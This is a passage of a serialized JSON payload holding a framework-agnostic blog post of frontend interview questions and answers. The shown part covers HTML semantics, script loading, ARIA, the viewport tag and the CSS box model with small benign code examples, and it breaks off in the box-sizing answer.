[{"data":1,"prerenderedAt":27501},["ShallowReactive",2],{"/post/top-100-frontend-interview-questions":3,"related-/frontend/top-100-frontend-interview-questions":9159},{"id":4,"title":5,"author":6,"body":7,"date":9141,"description":9142,"draft":9143,"extension":9144,"guide":9145,"image":9146,"meta":9147,"navigation":288,"path":9148,"seo":9149,"stem":9150,"tags":9151,"__hash__":9158},"blog/Frontend/1.top-100-frontend-interview-questions.md","Top 100 Frontend Interview Questions and Answers (Framework Agnostic)","Kashyap Kumar",{"type":8,"value":9,"toc":8986},"minimark",[10,14,17,22,27,30,38,41,45,64,84,211,221,230,239,248,340,361,371,380,387,402,410,415,446,453,467,473,482,496,564,573,583,586,592,598,669,672,680,683,692,696,707,742,821,839,842,852,867,870,929,936,944,952,955,964,968,989,1000,1010,1017,1020,1030,1034,1053,1103,1114,1117,1125,1155,1158,1168,1171,1175,1179,1199,1205,1228,1238,1251,1261,1308,1311,1327,1333,1379,1389,1402,1405,1461,1472,1476,1479,1500,1506,1528,1531,1593,1605,1609,1612,1618,1621,1625,1628,1729,1739,1743,1746,1768,1786,1795,1803,1812,1818,1926,1929,1933,1936,1939,1966,1969,1973,1976,2010,2013,2017,2023,2114,2135,2147,2158,2161,2206,2209,2213,2216,2294,2309,2313,2316,2333,2336,2344,2349,2371,2391,2402,2405,2419,2429,2441,2445,2448,2456,2519,2530,2607,2610,2622,2628,2680,2688,2692,2703,2706,2781,2791,2803,2807,2810,2813,2844,2938,2946,2950,2960,3000,3009,3019,3031,3109,3124,3128,3152,3177,3219,3237,3246,3249,3260,3276,3318,3332,3336,3339,3450,3467,3473,3476,3480,3489,3502,3576,3582,3586,3589,3674,3677,3716,3724,3731,3744,3747,3822,3932,3948,3960,3966,4006,4140,4164,4168,4177,4183,4261,4267,4271,4278,4288,4291,4295,4298,4301,4332,4338,4341,4352,4356,4359,4385,4401,4497,4500,4511,4514,4547,4553,4557,4560,4575,4691,4715,4722,4731,4835,4838,4860,4870,4885,4888,4976,4991,5007,5010,5032,5207,5210,5214,5224,5230,5338,5362,5366,5369,5589,5592,5596,5602,5612,5731,5740,5840,5854,5858,5865,5940,5950,5960,5963,5972,5980,6083,6092,6102,6127,6132,6263,6266,6275,6278,6372,6378,6382,6385,6516,6523,6597,6600,6604,6607,6617,6623,6835,6838,6848,6851,6860,6866,6936,6949,6953,6957,6960,6967,6971,6978,6999,7013,7025,7028,7063,7155,7166,7170,7173,7198,7204,7215,7219,7226,7318,7329,7339,7342,7352,7362,7457,7466,7475,7484,7502,7615,7623,7634,7637,7721,7727,7745,7749,7755,7765,7769,7772,7778,7781,7823,7826,7830,7833,7839,7845,7857,7861,7864,7871,7882,7885,7897,7903,7917,7921,7927,7933,8041,8044,8057,8060,8102,8116,8120,8124,8127,8130,8207,8214,8218,8221,8227,8230,8234,8237,8259,8262,8266,8269,8289,8292,8296,8299,8319,8322,8326,8329,8349,8352,8356,8359,8365,8375,8381,8384,8388,8391,8394,8397,8406,8409,8427,8430,8434,8437,8497,8500,8504,8508,8511,8514,8517,8526,8529,8541,8551,8595,8601,8605,8616,8641,8647,8658,8662,8665,8672,8705,8709,8712,8730,8733,8763,8767,8773,8781,8784,8787,8791,8794,8797,8817,8820,8824,8827,8837,8843,8846,8850,8853,8879,8882,8886,8889,8957,8960,8964,8967,8979,8982],[11,12,13],"p",{},"Frontend interviews can feel intimidating because the surface area is huge: HTML, CSS, JavaScript, the DOM, browsers, performance, accessibility, security, and more. The good news is that most interviews keep returning to the same core ideas. If you understand these well, you can answer almost any variation of the question.",[11,15,16],{},"This article collects 100 of the most common frontend interview questions. They are framework agnostic, which means the answers do not depend on React, Vue, Angular, or Svelte. The focus is on what the browser actually does and how the language really works. The answers are written the way you might actually say them out loud in an interview: a clear definition first, then the reasoning behind it, then an example or two so the idea sticks.",[18,19,21],"h2",{"id":20},"html-questions","HTML Questions",[23,24,26],"h3",{"id":25},"_1-what-is-the-difference-between-html-and-xhtml","1. What is the difference between HTML and XHTML?",[11,28,29],{},"HTML is the regular markup language we all use every day. It is forgiving by design: if you forget to close a tag or write your tag names in mixed case, the browser will usually figure out what you meant and render the page anyway. That tolerance is one of the reasons the web grew so quickly, because beginners could publish pages without learning strict rules first.",[11,31,32,33,37],{},"XHTML was an attempt to clean this up by treating HTML as if it were XML. That meant strict rules: every tag had to be closed (even ",[34,35,36],"code",{},"\u003Cbr />","), all attribute values had to be in quotes, and tag names had to be lowercase. If you broke any rule, the browser was supposed to refuse to render the page at all.",[11,39,40],{},"In practice the strict approach lost. The web today runs on HTML5, which kept the relaxed parsing of HTML but adopted a lot of the cleanliness ideas from XHTML. So unless you are maintaining an old codebase, you will basically never write XHTML.",[23,42,44],{"id":43},"_2-what-are-semantic-html-elements-and-why-do-they-matter","2. What are semantic HTML elements and why do they matter?",[11,46,47,48,51,52,55,56,59,60,63],{},"Semantic elements are HTML tags that describe the meaning of the content inside them, not just how it should look. ",[34,49,50],{},"\u003Cheader>"," says \"this part is the header.\" ",[34,53,54],{},"\u003Cnav>"," says \"this is a set of navigation links.\" ",[34,57,58],{},"\u003Carticle>"," says \"this is a self contained piece of content.\" Compare that to ",[34,61,62],{},"\u003Cdiv>",", which tells you nothing at all.",[11,65,66,67,70,71,73,74,76,77,79,80,83],{},"Why does this matter if both ",[34,68,69],{},"\u003Cdiv class=\"nav\">"," and ",[34,72,54],{}," look the same on screen? Because not everyone consumes your page visually. A blind user navigating with a screen reader can jump straight to the ",[34,75,54],{}," or skip past it. Search engines understand that an ",[34,78,58],{}," is the main content and a ",[34,81,82],{},"\u003Cfooter>"," is supporting metadata. Reader mode in browsers, AI summarisers, and even your own future self reading the markup all benefit when the structure is meaningful.",[85,86,91],"pre",{"className":87,"code":88,"language":89,"meta":90,"style":90},"language-html shiki shiki-themes github-dark","\u003Carticle>\n    \u003Cheader>\n        \u003Ch1>Post title\u003C/h1>\n        \u003Ctime datetime=\"2026-04-30\">April 30, 2026\u003C/time>\n    \u003C/header>\n    \u003Cp>The actual post content lives here.\u003C/p>\n    \u003Cfooter>Tagged: Frontend, HTML\u003C/footer>\n\u003C/article>\n","html","",[34,92,93,109,120,136,162,172,186,201],{"__ignoreMap":90},[94,95,98,102,106],"span",{"class":96,"line":97},"line",1,[94,99,101],{"class":100},"s95oV","\u003C",[94,103,105],{"class":104},"s4JwU","article",[94,107,108],{"class":100},">\n",[94,110,112,115,118],{"class":96,"line":111},2,[94,113,114],{"class":100},"    \u003C",[94,116,117],{"class":104},"header",[94,119,108],{"class":100},[94,121,123,126,129,132,134],{"class":96,"line":122},3,[94,124,125],{"class":100},"        \u003C",[94,127,128],{"class":104},"h1",[94,130,131],{"class":100},">Post title\u003C/",[94,133,128],{"class":104},[94,135,108],{"class":100},[94,137,139,141,144,148,151,155,158,160],{"class":96,"line":138},4,[94,140,125],{"class":100},[94,142,143],{"class":104},"time",[94,145,147],{"class":146},"svObZ"," datetime",[94,149,150],{"class":100},"=",[94,152,154],{"class":153},"sU2Wk","\"2026-04-30\"",[94,156,157],{"class":100},">April 30, 2026\u003C/",[94,159,143],{"class":104},[94,161,108],{"class":100},[94,163,165,168,170],{"class":96,"line":164},5,[94,166,167],{"class":100},"    \u003C/",[94,169,117],{"class":104},[94,171,108],{"class":100},[94,173,175,177,179,182,184],{"class":96,"line":174},6,[94,176,114],{"class":100},[94,178,11],{"class":104},[94,180,181],{"class":100},">The actual post content lives here.\u003C/",[94,183,11],{"class":104},[94,185,108],{"class":100},[94,187,189,191,194,197,199],{"class":96,"line":188},7,[94,190,114],{"class":100},[94,192,193],{"class":104},"footer",[94,195,196],{"class":100},">Tagged: Frontend, HTML\u003C/",[94,198,193],{"class":104},[94,200,108],{"class":100},[94,202,204,207,209],{"class":96,"line":203},8,[94,205,206],{"class":100},"\u003C/",[94,208,105],{"class":104},[94,210,108],{"class":100},[11,212,213,214,216,217,220],{},"A good rule: reach for a semantic tag first, and only fall back to ",[34,215,62],{}," or ",[34,218,219],{},"\u003Cspan>"," if nothing more meaningful fits.",[23,222,224,225,70,227,229],{"id":223},"_3-what-is-the-difference-between-div-and-span","3. What is the difference between ",[34,226,62],{},[34,228,219],{},"?",[11,231,232,233,235,236,238],{},"The short answer is that ",[34,234,62],{}," is a block level element and ",[34,237,219],{}," is an inline element. A block element behaves like a paragraph: it stretches to fill the width of its parent and pushes whatever comes next onto a new line. An inline element behaves like a word in a sentence: it only takes up the width of its content and stays on the same line as the text around it.",[11,240,241,242,244,245,247],{},"That difference decides where you reach for each one. You use ",[34,243,62],{}," when you need to wrap a chunk of layout, like a card, a section of a page, or a flex container. You use ",[34,246,219],{}," when you need to mark up a small piece of text inside a sentence, for example to colour a single word or attach a click handler to part of a label.",[85,249,251],{"className":87,"code":250,"language":89,"meta":90,"style":90},"\u003Cp>The price is \u003Cspan class=\"highlight\">$49\u003C/span> today only.\u003C/p>\n\n\u003Cdiv class=\"card\">\n    \u003Ch2>Card title\u003C/h2>\n    \u003Cp>Card body\u003C/p>\n\u003C/div>\n",[34,252,253,284,290,306,319,332],{"__ignoreMap":90},[94,254,255,257,259,262,264,267,269,272,275,277,280,282],{"class":96,"line":97},[94,256,101],{"class":100},[94,258,11],{"class":104},[94,260,261],{"class":100},">The price is \u003C",[94,263,94],{"class":104},[94,265,266],{"class":146}," class",[94,268,150],{"class":100},[94,270,271],{"class":153},"\"highlight\"",[94,273,274],{"class":100},">$49\u003C/",[94,276,94],{"class":104},[94,278,279],{"class":100},"> today only.\u003C/",[94,281,11],{"class":104},[94,283,108],{"class":100},[94,285,286],{"class":96,"line":111},[94,287,289],{"emptyLinePlaceholder":288},true,"\n",[94,291,292,294,297,299,301,304],{"class":96,"line":122},[94,293,101],{"class":100},[94,295,296],{"class":104},"div",[94,298,266],{"class":146},[94,300,150],{"class":100},[94,302,303],{"class":153},"\"card\"",[94,305,108],{"class":100},[94,307,308,310,312,315,317],{"class":96,"line":138},[94,309,114],{"class":100},[94,311,18],{"class":104},[94,313,314],{"class":100},">Card title\u003C/",[94,316,18],{"class":104},[94,318,108],{"class":100},[94,320,321,323,325,328,330],{"class":96,"line":164},[94,322,114],{"class":100},[94,324,11],{"class":104},[94,326,327],{"class":100},">Card body\u003C/",[94,329,11],{"class":104},[94,331,108],{"class":100},[94,333,334,336,338],{"class":96,"line":174},[94,335,206],{"class":100},[94,337,296],{"class":104},[94,339,108],{"class":100},[11,341,342,343,346,347,346,349,346,352,355,356,216,358,360],{},"Neither tag carries any meaning on its own, so if there is a more semantic option (",[34,344,345],{},"\u003Csection>",", ",[34,348,58],{},[34,350,351],{},"\u003Cstrong>",[34,353,354],{},"\u003Cem>","), prefer that over ",[34,357,62],{},[34,359,219],{},".",[23,362,364,365,70,368,229],{"id":363},"_4-what-is-the-difference-between-id-and-class","4. What is the difference between ",[34,366,367],{},"id",[34,369,370],{},"class",[11,372,373,374,376,377,379],{},"Both are ways to label HTML elements so you can target them with CSS or JavaScript, but they follow different rules. An ",[34,375,367],{}," is meant to be unique on a page; you should never put the same id on two elements. A ",[34,378,370],{}," is the opposite: it is meant to be reusable, and one element can carry many classes at once.",[11,381,382,383,386],{},"There is also a big difference in CSS specificity. An id selector beats a class selector, no matter how many classes you stack. So if you start styling things with ids, you will quickly run into \"I cannot override this rule\" problems and reach for ",[34,384,385],{},"!important",", which gets messy.",[11,388,389,390,393,394,397,398,401],{},"The convention most teams follow is: use classes for styling and behaviour, and reserve id for things that genuinely need to be unique, such as the target of an anchor link (",[34,391,392],{},"#pricing","), a ",[34,395,396],{},"\u003Clabel for=\"...\">"," association, or an ARIA reference (",[34,399,400],{},"aria-labelledby=\"...\"",").",[23,403,405,406,409],{"id":404},"_5-what-is-the-purpose-of-the-alt-attribute-on-images","5. What is the purpose of the ",[34,407,408],{},"alt"," attribute on images?",[11,411,412,414],{},[34,413,408],{}," is the text that describes what the image shows, in plain language. The browser uses it in three important situations: when the image fails to load (broken image icon plus the alt text), when a screen reader announces the image to a blind user, and when search engines try to understand what the image represents.",[85,416,418],{"className":87,"code":417,"language":89,"meta":90,"style":90},"\u003Cimg src=\"/golden-retriever.jpg\" alt=\"A golden retriever puppy chewing a tennis ball\" />\n",[34,419,420],{"__ignoreMap":90},[94,421,422,424,427,430,432,435,438,440,443],{"class":96,"line":97},[94,423,101],{"class":100},[94,425,426],{"class":104},"img",[94,428,429],{"class":146}," src",[94,431,150],{"class":100},[94,433,434],{"class":153},"\"/golden-retriever.jpg\"",[94,436,437],{"class":146}," alt",[94,439,150],{"class":100},[94,441,442],{"class":153},"\"A golden retriever puppy chewing a tennis ball\"",[94,444,445],{"class":100}," />\n",[11,447,448,449,452],{},"Two practical tips. First, describe what is in the picture, do not just label it (\"photo of dog\" is bad, \"golden retriever puppy chewing a tennis ball\" is good). Second, if the image is purely decorative and adds no information, use an empty alt (",[34,450,451],{},"alt=\"\"",") so screen readers skip past it. Leaving alt off entirely is worse, because some screen readers will then read out the image filename.",[23,454,456,457,346,460,463,464,229],{"id":455},"_6-what-is-the-difference-between-script-script-async-and-script-defer","6. What is the difference between ",[34,458,459],{},"\u003Cscript>",[34,461,462],{},"\u003Cscript async>",", and ",[34,465,466],{},"\u003Cscript defer>",[11,468,469,470,472],{},"When the browser is parsing your HTML and it hits a ",[34,471,459],{}," tag, it normally stops, downloads the script, runs it, and then continues parsing. That blocking behaviour is fine for tiny inline scripts, but it is terrible for big external scripts, because nothing else on the page can render while the browser waits.",[11,474,475,70,478,481],{},[34,476,477],{},"async",[34,479,480],{},"defer"," are two ways to tell the browser \"you can keep parsing while this script downloads.\" The difference is when the script actually runs.",[483,484,485,491],"ul",{},[486,487,488,490],"li",{},[34,489,477],{},": the script runs as soon as it has finished downloading, even if the HTML is not done parsing yet. This means scripts can run out of order, whichever finishes first wins.",[486,492,493,495],{},[34,494,480],{},": the script waits until the HTML is fully parsed, and multiple deferred scripts run in the order they appear in the document.",[497,498,499,518],"table",{},[500,501,502],"thead",{},[503,504,505,509,512,515],"tr",{},[506,507,508],"th",{},"Attribute",[506,510,511],{},"Download",[506,513,514],{},"Execution",[506,516,517],{},"Order preserved",[519,520,521,536,551],"tbody",{},[503,522,523,527,530,533],{},[524,525,526],"td",{},"(none)",[524,528,529],{},"Blocks parsing",[524,531,532],{},"Immediately when downloaded",[524,534,535],{},"Yes",[503,537,538,542,545,548],{},[524,539,540],{},[34,541,477],{},[524,543,544],{},"In parallel",[524,546,547],{},"As soon as downloaded",[524,549,550],{},"No",[503,552,553,557,559,562],{},[524,554,555],{},[34,556,480],{},[524,558,544],{},[524,560,561],{},"After HTML parsing finishes",[524,563,535],{},[11,565,566,567,569,570,572],{},"For most regular scripts, ",[34,568,480],{}," is the safer default because it preserves order and never interrupts parsing. Use ",[34,571,477],{}," for independent third party scripts like analytics, where you genuinely do not care about the order or about other scripts.",[23,574,576,577,70,580,229],{"id":575},"_7-what-is-the-difference-between-link-relpreload-and-link-relprefetch","7. What is the difference between ",[34,578,579],{},"\u003Clink rel=\"preload\">",[34,581,582],{},"\u003Clink rel=\"prefetch\">",[11,584,585],{},"These are two hints you can give the browser about resources you know it will need.",[11,587,588,591],{},[34,589,590],{},"preload"," says: \"I will need this resource on the current page, very soon, please fetch it with high priority right now.\" It is for things that are critical to rendering the page you are on, like a custom font that the heading uses, or the hero image.",[11,593,594,597],{},[34,595,596],{},"prefetch"," says: \"I might need this resource for a future page or interaction, fetch it when you have nothing better to do.\" It is for things like the JavaScript bundle of the next route in a multi step flow, where you have a strong guess that the user will navigate there next.",[85,599,601],{"className":87,"code":600,"language":89,"meta":90,"style":90},"\u003Clink rel=\"preload\" href=\"/fonts/inter.woff2\" as=\"font\" type=\"font/woff2\" crossorigin />\n\u003Clink rel=\"prefetch\" href=\"/checkout-bundle.js\" />\n",[34,602,603,647],{"__ignoreMap":90},[94,604,605,607,610,613,615,618,621,623,626,629,631,634,637,639,642,645],{"class":96,"line":97},[94,606,101],{"class":100},[94,608,609],{"class":104},"link",[94,611,612],{"class":146}," rel",[94,614,150],{"class":100},[94,616,617],{"class":153},"\"preload\"",[94,619,620],{"class":146}," href",[94,622,150],{"class":100},[94,624,625],{"class":153},"\"/fonts/inter.woff2\"",[94,627,628],{"class":146}," as",[94,630,150],{"class":100},[94,632,633],{"class":153},"\"font\"",[94,635,636],{"class":146}," type",[94,638,150],{"class":100},[94,640,641],{"class":153},"\"font/woff2\"",[94,643,644],{"class":146}," crossorigin",[94,646,445],{"class":100},[94,648,649,651,653,655,657,660,662,664,667],{"class":96,"line":111},[94,650,101],{"class":100},[94,652,609],{"class":104},[94,654,612],{"class":146},[94,656,150],{"class":100},[94,658,659],{"class":153},"\"prefetch\"",[94,661,620],{"class":146},[94,663,150],{"class":100},[94,665,666],{"class":153},"\"/checkout-bundle.js\"",[94,668,445],{"class":100},[11,670,671],{},"The difference is essentially urgency: preload is \"I need this now, do not delay,\" and prefetch is \"save this for later when the user is idle.\"",[23,673,675,676,679],{"id":674},"_8-what-does-the-doctype-html-declaration-do","8. What does the ",[34,677,678],{},"\u003C!DOCTYPE html>"," declaration do?",[11,681,682],{},"It is the very first line of every modern HTML document, and its only job is to tell the browser \"render this page in standards mode.\" That sounds boring, but the alternative is real and painful.",[11,684,685,686,688,689,360],{},"If you leave it out, the browser falls back to \"quirks mode,\" which is a special compatibility mode that tries to behave like a 1990s browser. In quirks mode, the box model is calculated differently, certain CSS rules behave unexpectedly, and your layout will quietly break in ways that are very hard to debug. Always include ",[34,687,678],{}," as the first line, before ",[34,690,691],{},"\u003Chtml>",[23,693,695],{"id":694},"_9-what-are-data-attributes","9. What are data attributes?",[11,697,698,699,702,703,706],{},"Data attributes are a clean, official way to attach custom data to an HTML element. You name them starting with ",[34,700,701],{},"data-"," and you can read and write them from JavaScript through the ",[34,704,705],{},"dataset"," property.",[85,708,710],{"className":87,"code":709,"language":89,"meta":90,"style":90},"\u003Cbutton data-user-id=\"42\" data-action=\"delete\">Delete\u003C/button>\n",[34,711,712],{"__ignoreMap":90},[94,713,714,716,719,722,724,727,730,732,735,738,740],{"class":96,"line":97},[94,715,101],{"class":100},[94,717,718],{"class":104},"button",[94,720,721],{"class":146}," data-user-id",[94,723,150],{"class":100},[94,725,726],{"class":153},"\"42\"",[94,728,729],{"class":146}," data-action",[94,731,150],{"class":100},[94,733,734],{"class":153},"\"delete\"",[94,736,737],{"class":100},">Delete\u003C/",[94,739,718],{"class":104},[94,741,108],{"class":100},[85,743,747],{"className":744,"code":745,"language":746,"meta":90,"style":90},"language-js shiki shiki-themes github-dark","const btn = document.querySelector('button')\nconsole.log(btn.dataset.userId)  // '42'\nconsole.log(btn.dataset.action)  // 'delete'\n\nbtn.dataset.action = 'archive'   // changes the attribute in the DOM\n","js",[34,748,749,777,792,804,808],{"__ignoreMap":90},[94,750,751,755,759,762,765,768,771,774],{"class":96,"line":97},[94,752,754],{"class":753},"snl16","const",[94,756,758],{"class":757},"sDLfK"," btn",[94,760,761],{"class":753}," =",[94,763,764],{"class":100}," document.",[94,766,767],{"class":146},"querySelector",[94,769,770],{"class":100},"(",[94,772,773],{"class":153},"'button'",[94,775,776],{"class":100},")\n",[94,778,779,782,785,788],{"class":96,"line":111},[94,780,781],{"class":100},"console.",[94,783,784],{"class":146},"log",[94,786,787],{"class":100},"(btn.dataset.userId)  ",[94,789,791],{"class":790},"sAwPA","// '42'\n",[94,793,794,796,798,801],{"class":96,"line":122},[94,795,781],{"class":100},[94,797,784],{"class":146},[94,799,800],{"class":100},"(btn.dataset.action)  ",[94,802,803],{"class":790},"// 'delete'\n",[94,805,806],{"class":96,"line":138},[94,807,289],{"emptyLinePlaceholder":288},[94,809,810,813,815,818],{"class":96,"line":164},[94,811,812],{"class":100},"btn.dataset.action ",[94,814,150],{"class":753},[94,816,817],{"class":153}," 'archive'",[94,819,820],{"class":790},"   // changes the attribute in the DOM\n",[11,822,823,824,827,828,831,832,835,836,360],{},"Two practical notes. The hyphenated attribute name in HTML (",[34,825,826],{},"data-user-id",") becomes camelCase in JavaScript (",[34,829,830],{},"dataset.userId","). And the values are always strings, even if you write ",[34,833,834],{},"data-count=\"3\"",", you read it back as the string ",[34,837,838],{},"'3'",[11,840,841],{},"They are perfect for passing little bits of information from server rendered HTML to JavaScript without polluting the global scope or inventing fake attributes that are not part of the spec.",[23,843,845,846,70,849,229],{"id":844},"_10-what-is-the-difference-between-button-typebutton-and-button-typesubmit","10. What is the difference between ",[34,847,848],{},"\u003Cbutton type=\"button\">",[34,850,851],{},"\u003Cbutton type=\"submit\">",[11,853,854,855,858,859,862,863,866],{},"This is one of those tiny details that catches almost every beginner once. Inside a ",[34,856,857],{},"\u003Cform>",", the default button type is ",[34,860,861],{},"submit",". So if you write ",[34,864,865],{},"\u003Cbutton>Save\u003C/button>"," inside a form and click it, the form submits and the page reloads, even if all you wanted was to run a click handler.",[11,868,869],{},"The fix is to always set the type explicitly:",[85,871,873],{"className":87,"code":872,"language":89,"meta":90,"style":90},"\u003Cbutton type=\"button\" onclick=\"openMenu()\">Open menu\u003C/button>\n\u003Cbutton type=\"submit\">Save changes\u003C/button>\n",[34,874,875,909],{"__ignoreMap":90},[94,876,877,879,881,883,885,888,891,893,896,899,902,905,907],{"class":96,"line":97},[94,878,101],{"class":100},[94,880,718],{"class":104},[94,882,636],{"class":146},[94,884,150],{"class":100},[94,886,887],{"class":153},"\"button\"",[94,889,890],{"class":146}," onclick",[94,892,150],{"class":100},[94,894,895],{"class":153},"\"",[94,897,898],{"class":146},"openMenu",[94,900,901],{"class":153},"()\"",[94,903,904],{"class":100},">Open menu\u003C/",[94,906,718],{"class":104},[94,908,108],{"class":100},[94,910,911,913,915,917,919,922,925,927],{"class":96,"line":111},[94,912,101],{"class":100},[94,914,718],{"class":104},[94,916,636],{"class":146},[94,918,150],{"class":100},[94,920,921],{"class":153},"\"submit\"",[94,923,924],{"class":100},">Save changes\u003C/",[94,926,718],{"class":104},[94,928,108],{"class":100},[11,930,931,932,935],{},"If your button does anything other than submit a form, set ",[34,933,934],{},"type=\"button\"",". The cost of forgetting is a confusing page reload that wipes whatever the user typed. A lot of senior developers ask this in interviews specifically because they have personally been bitten by it.",[23,937,939,940,70,942,229],{"id":938},"_11-what-is-the-difference-between-section-and-article","11. What is the difference between ",[34,941,345],{},[34,943,58],{},[11,945,946,947,949,950,360],{},"The simplest way to tell them apart is to ask: \"could this content be lifted out and republished somewhere else completely on its own?\" If yes, it is an ",[34,948,58],{},". If it is just a thematic chunk inside a larger document, it is a ",[34,951,345],{},[11,953,954],{},"A blog post is an article. A user comment is also an article (it stands alone). The \"About\" portion of a homepage is a section. The \"Pricing\" portion of the same homepage is another section.",[11,956,957,958,960,961,963],{},"A common pattern is to nest them: an ",[34,959,58],{}," for a blog post, with ",[34,962,345],{}," blocks inside it for \"Introduction,\" \"Method,\" \"Results,\" and so on. Both should usually have a heading inside them.",[23,965,967],{"id":966},"_12-what-are-void-self-closing-elements-in-html","12. What are void (self closing) elements in HTML?",[11,969,970,971,346,974,346,977,346,980,346,983,463,986,360],{},"Void elements are HTML tags that cannot have any content, so they have no closing tag at all. The most common ones are ",[34,972,973],{},"\u003Cimg>",[34,975,976],{},"\u003Cbr>",[34,978,979],{},"\u003Chr>",[34,981,982],{},"\u003Cinput>",[34,984,985],{},"\u003Cmeta>",[34,987,988],{},"\u003Clink>",[11,990,991,992,995,996,999],{},"In plain HTML you write them without a slash: ",[34,993,994],{},"\u003Cimg src=\"x.jpg\">",". In XHTML or in JSX (React) you have to write them as ",[34,997,998],{},"\u003Cimg src=\"x.jpg\" />"," because those flavours require every tag to be closed. Both forms are accepted by HTML5 parsers, so the slash is harmless either way.",[23,1001,1003,1004,70,1007,229],{"id":1002},"_13-what-is-the-difference-between-input-typetext-and-input-typesearch","13. What is the difference between ",[34,1005,1006],{},"\u003Cinput type=\"text\">",[34,1008,1009],{},"\u003Cinput type=\"search\">",[11,1011,1012,1013,1016],{},"They look almost identical, but ",[34,1014,1015],{},"type=\"search\""," opts into a few small browser behaviours that make it nicer for, well, search.",[11,1018,1019],{},"On most browsers, a search input shows a small clear (X) button on the right when there is text in it. On mobile devices, the on screen keyboard often shows a \"Search\" key instead of \"Return.\" And screen readers announce it as a search field, which is an accessibility win.",[11,1021,1022,1023,1025,1026,1029],{},"If the input is being used as a search box, prefer ",[34,1024,1015],{}," over ",[34,1027,1028],{},"type=\"text\"",". It costs you nothing and gives users tiny but real improvements.",[23,1031,1033],{"id":1032},"_14-what-are-aria-attributes","14. What are ARIA attributes?",[11,1035,1036,1037,1040,1041,1044,1045,1048,1049,1052],{},"ARIA stands for \"Accessible Rich Internet Applications.\" They are a set of HTML attributes that add accessibility information to elements when the native HTML tag is not enough on its own. Common examples are ",[34,1038,1039],{},"aria-label"," (gives an element an accessible name), ",[34,1042,1043],{},"aria-hidden"," (hides an element from screen readers), ",[34,1046,1047],{},"aria-expanded"," (says whether a menu is open), and ",[34,1050,1051],{},"role"," (declares what kind of element this acts like).",[85,1054,1056],{"className":87,"code":1055,"language":89,"meta":90,"style":90},"\u003Cbutton aria-label=\"Close dialog\" aria-expanded=\"false\" aria-controls=\"menu\">\n    X\n\u003C/button>\n",[34,1057,1058,1090,1095],{"__ignoreMap":90},[94,1059,1060,1062,1064,1067,1069,1072,1075,1077,1080,1083,1085,1088],{"class":96,"line":97},[94,1061,101],{"class":100},[94,1063,718],{"class":104},[94,1065,1066],{"class":146}," aria-label",[94,1068,150],{"class":100},[94,1070,1071],{"class":153},"\"Close dialog\"",[94,1073,1074],{"class":146}," aria-expanded",[94,1076,150],{"class":100},[94,1078,1079],{"class":153},"\"false\"",[94,1081,1082],{"class":146}," aria-controls",[94,1084,150],{"class":100},[94,1086,1087],{"class":153},"\"menu\"",[94,1089,108],{"class":100},[94,1091,1092],{"class":96,"line":111},[94,1093,1094],{"class":100},"    X\n",[94,1096,1097,1099,1101],{"class":96,"line":122},[94,1098,206],{"class":100},[94,1100,718],{"class":104},[94,1102,108],{"class":100},[11,1104,1105,1106,1109,1110,1113],{},"The single most important rule is sometimes called the \"first rule of ARIA\": do not use ARIA when a real HTML element exists. A real ",[34,1107,1108],{},"\u003Cbutton>"," already has the right role, the right keyboard behaviour, and the right focus handling for free. A ",[34,1111,1112],{},"\u003Cdiv role=\"button\" tabindex=\"0\">"," is brittle, and a beginner usually forgets to handle the keyboard correctly.",[11,1115,1116],{},"Reach for ARIA only to fill gaps that HTML cannot fill, like labelling a custom dropdown or describing the state of a tab panel.",[23,1118,1120,1121,1124],{"id":1119},"_15-what-is-the-meaning-of-the-meta-viewport-tag","15. What is the meaning of the ",[34,1122,1123],{},"\u003Cmeta viewport>"," tag?",[85,1126,1128],{"className":87,"code":1127,"language":89,"meta":90,"style":90},"\u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\" />\n",[34,1129,1130],{"__ignoreMap":90},[94,1131,1132,1134,1137,1140,1142,1145,1148,1150,1153],{"class":96,"line":97},[94,1133,101],{"class":100},[94,1135,1136],{"class":104},"meta",[94,1138,1139],{"class":146}," name",[94,1141,150],{"class":100},[94,1143,1144],{"class":153},"\"viewport\"",[94,1146,1147],{"class":146}," content",[94,1149,150],{"class":100},[94,1151,1152],{"class":153},"\"width=device-width, initial-scale=1\"",[94,1154,445],{"class":100},[11,1156,1157],{},"This tag tells mobile browsers how to lay out the page. Without it, mobile browsers pretend the screen is around 980 pixels wide and then shrink the result to fit, which makes everything look tiny and zoomed out. With this tag, the browser uses the actual device width and renders the page at a sensible size.",[11,1159,1160,1163,1164,1167],{},[34,1161,1162],{},"width=device-width"," is the part that says \"use the real width of the device.\" ",[34,1165,1166],{},"initial-scale=1"," says \"do not zoom in or out by default.\"",[11,1169,1170],{},"If you ever build a responsive site and find that it looks like a desktop site shrunk down on mobile, ninety nine times out of a hundred you forgot this tag.",[18,1172,1174],{"id":1173},"css-questions","CSS Questions",[23,1176,1178],{"id":1177},"_16-what-is-the-css-box-model","16. What is the CSS box model?",[11,1180,1181,1182,1186,1187,1190,1191,1194,1195,1198],{},"Every element on the page is treated as a rectangular box, and that box has four parts. From the inside out: the ",[1183,1184,1185],"strong",{},"content"," (the text or image itself), the ",[1183,1188,1189],{},"padding"," (transparent space inside the border, around the content), the ",[1183,1192,1193],{},"border"," (a line around the padding), and the ",[1183,1196,1197],{},"margin"," (transparent space outside the border, separating this box from the next one).",[11,1200,1201],{},[426,1202],{"alt":1203,"src":1204},"CSS box model diagram","/post-images/top-100-frontend-interview-questions/css-box-model-diagram.png",[11,1206,1207,1208,1211,1212,1215,1216,1219,1220,1223,1224,1227],{},"The thing that trips most beginners up is what ",[34,1209,1210],{},"width"," actually means. By default, ",[34,1213,1214],{},"width: 200px"," sets the width of the ",[1183,1217,1218],{},"content area only",". Padding and border are added on top, so a box with ",[34,1221,1222],{},"width: 200px; padding: 20px; border: 5px solid"," ends up being 250 pixels wide on screen. That is why so many layouts ended up wider than expected, and it is the reason the next question (",[34,1225,1226],{},"box-sizing",") exists.",[23,1229,1231,1232,70,1235,229],{"id":1230},"_17-what-is-the-difference-between-box-sizing-content-box-and-border-box","17. What is the difference between ",[34,1233,1234],{},"box-sizing: content-box",[34,1236,1237],{},"border-box",[11,1239,1240,1241,70,1243,1246,1247,1250],{},"This decides how ",[34,1242,1210],{},[34,1244,1245],{},"height"," are calculated. With ",[34,1248,1249],{},"content-box"," (the default), the width you set is just the content. Padding and border get added on top, so the total visible width is bigger than the number you wrote.",[11,1252,1253,1254,1256,1257,1260],{},"With ",[34,1255,1237],{},", the width you set is the ",[1183,1258,1259],{},"total"," width including padding and border. The content area shrinks to make room. Almost everyone finds this more intuitive.",[85,1262,1266],{"className":1263,"code":1264,"language":1265,"meta":90,"style":90},"language-css 